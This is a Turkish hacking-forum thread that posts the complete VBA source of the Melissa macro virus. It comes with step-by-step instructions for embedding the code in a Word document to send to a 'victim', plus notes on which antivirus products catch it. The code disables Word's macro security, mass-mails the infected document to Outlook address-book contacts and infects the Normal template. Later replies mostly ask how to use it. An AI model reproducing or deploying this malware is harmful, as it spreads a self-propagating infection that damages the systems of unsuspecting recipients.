THT DUYURU

chat
Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

ugursuz reklam
takipci
Seçenekler

Dünyayı kasıp kavuran melisa virüsü kodları !

Blue-Moon - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
10/2013
Nereden:
./systemdown
Mesajlar:
2.059
Konular:
613
Teşekkür (Etti):
359
Teşekkür (Aldı):
521
Ticaret:
(0) %
10
4036
20-04-2014 20:30
#1
Dünyayı kasıp kavuran melisa virüsü kodları


Tarih: Pzr Hzr 10, 2007 11:24 am Mesaj konusu: Dünyayı kasıp kavuran melisa virüsü kodları.. Bu Virus icin ozel temizleme araclari bile yaptilar bu virus kla****** 2-3 Sene once dunyayi calkaladi.Kisaca Mahvetti diyeyim size.etkili virustur.Dikkatli kullanin.
Bir Microsoft Word Belgesi Acalim

Bos Belge acildiginda Alt + f11 Tuslarina Basalim Visual Basic Acilacaktir.
Project 1 / Microsoft Word objects / This ******** Acilacaktir

This ******** Seciniz Ve icine Melisa Virusu Kodlari YAziniz Ve Kaydet CTRL + S Tuslarina basiniz Ve Visual Basic uygulamasini kapatiniz.
Word Belgesini Kaydedin Ve Cikin

Melisa Virusu Executable EXe calismasi degildir Virus Sadece makro Virusudur Ve kurbaniniz bUnu kesinlikle yer.Exe uzantisi olmadigindan dolayi kabul edecektir.
Ancak panda ve Norton da denedim ikiside virus olrak buluyor.Avast Virus olarak bulmuyor dikkatinizi cekeyim bu konuya.

.................................................. ...Kodlar......................................... ......................

Private Sub ********_Open() ' Writted By eXit
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9 .0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't show anyone else "
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" , "Melissa?") = "... by Kwyjibo"
End If


Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If

If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") = False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True
End If

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
mehmet4428 - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
05/2013
Mesajlar:
601
Konular:
60
Teşekkür (Etti):
61
Teşekkür (Aldı):
39
Ticaret:
(0) %
20-04-2014 21:39
#2
Bu virüsün zararı nedir ?
Bununla neler yapabilir ?
Blue-Moon - ait Kullanıcı Resmi (Avatar)
Hesap Askıya Alındı
Üyelik tarihi:
10/2013
Nereden:
./systemdown
Mesajlar:
2.059
Konular:
613
Teşekkür (Etti):
359
Teşekkür (Aldı):
521
Ticaret:
(0) %
SoNCaSH - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
04/2014
Nereden:
<'hacked'>
Mesajlar:
87
Konular:
5
Teşekkür (Etti):
6
Teşekkür (Aldı):
47
Ticaret:
(0) %
21-04-2014 22:09
#4
Adam " 20 ay hapis ve 5000 dolar " ceza almış. Denememek de fayda var !!
---------------------
'13-04-2014'
'I'm no Supırmın '
mehmet4428 - ait Kullanıcı Resmi (Avatar)
E-Mail onayı yapılmamış üye
Üyelik tarihi:
05/2013
Mesajlar:
601
Konular:
60
Teşekkür (Etti):
61
Teşekkür (Aldı):
39
Ticaret:
(0) %
21-04-2014 22:26
#5
Bu virüs şimdiki facebookta beğendirme ile uğraşanların yaptıkları ile aynı sayılır.
Sana bir mesaj gelir ona tıklarsın sonra sende de o kişinin her şeyini beğenir ve arkadaşlarına da o virüsü yollamış olursun.
ARMAGEDONTR2001 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
07/2017
Mesajlar:
41
Konular:
9
Teşekkür (Etti):
19
Teşekkür (Aldı):
3
Ticaret:
(0) %
15-09-2017 03:31
#6
kodları yorum bölümüne mi yazıp yollicaz nereye yazıcaz
llSaDRaZaMll - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
08/2017
Nereden:
TEKİRDAĞ
Yaş:
18
Mesajlar:
181
Konular:
19
Teşekkür (Etti):
11
Teşekkür (Aldı):
17
Ticaret:
(0) %
15-09-2017 03:43
#7
Güzel Konu Sağol Ama Yenk Bilgisiyar Kullnanlar .bat da yer yani
--------------------- нαк αяαуαη ναяѕα, нαккıηı νєяιη. вαş кαℓ∂ıяαη ναяѕα, вαşıηı кєѕιη.
ll. ค๖໓ülhค๓i̇໓ hคຖ
yesilperi015 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
10/2015
Nereden:
404 no found
Mesajlar:
44
Konular:
0
Teşekkür (Etti):
16
Teşekkür (Aldı):
1
Ticaret:
(0) %
15-09-2017 03:45
#8
teşekkürler
---------------------
Pirikoo - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
07/2017
Nereden:
Onun Galbi
Mesajlar:
2.456
Konular:
430
Teşekkür (Etti):
323
Teşekkür (Aldı):
431
Ticaret:
(0) %
15-09-2017 04:11
#9
Zararları ?
---------------------
ÇILDIVIYOM

LSKDNGMSFIUGODIHGBNJFKIGHBNJUU8FIDGLKDMFHTRIVKNBDU ZBDJKGNBIJDNUVBYDGBHEDNKHZDKIUGBHDGIBZDKTHNJDUI

ARMAGEDONTR2001 - ait Kullanıcı Resmi (Avatar)
Yeni Üye
Üyelik tarihi:
07/2017
Mesajlar:
41
Konular:
9
Teşekkür (Etti):
19
Teşekkür (Aldı):
3
Ticaret:
(0) %
15-09-2017 12:35
#10
kodları yorum bölümüne mi yazıp yollicaz nereye yazıcaz

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler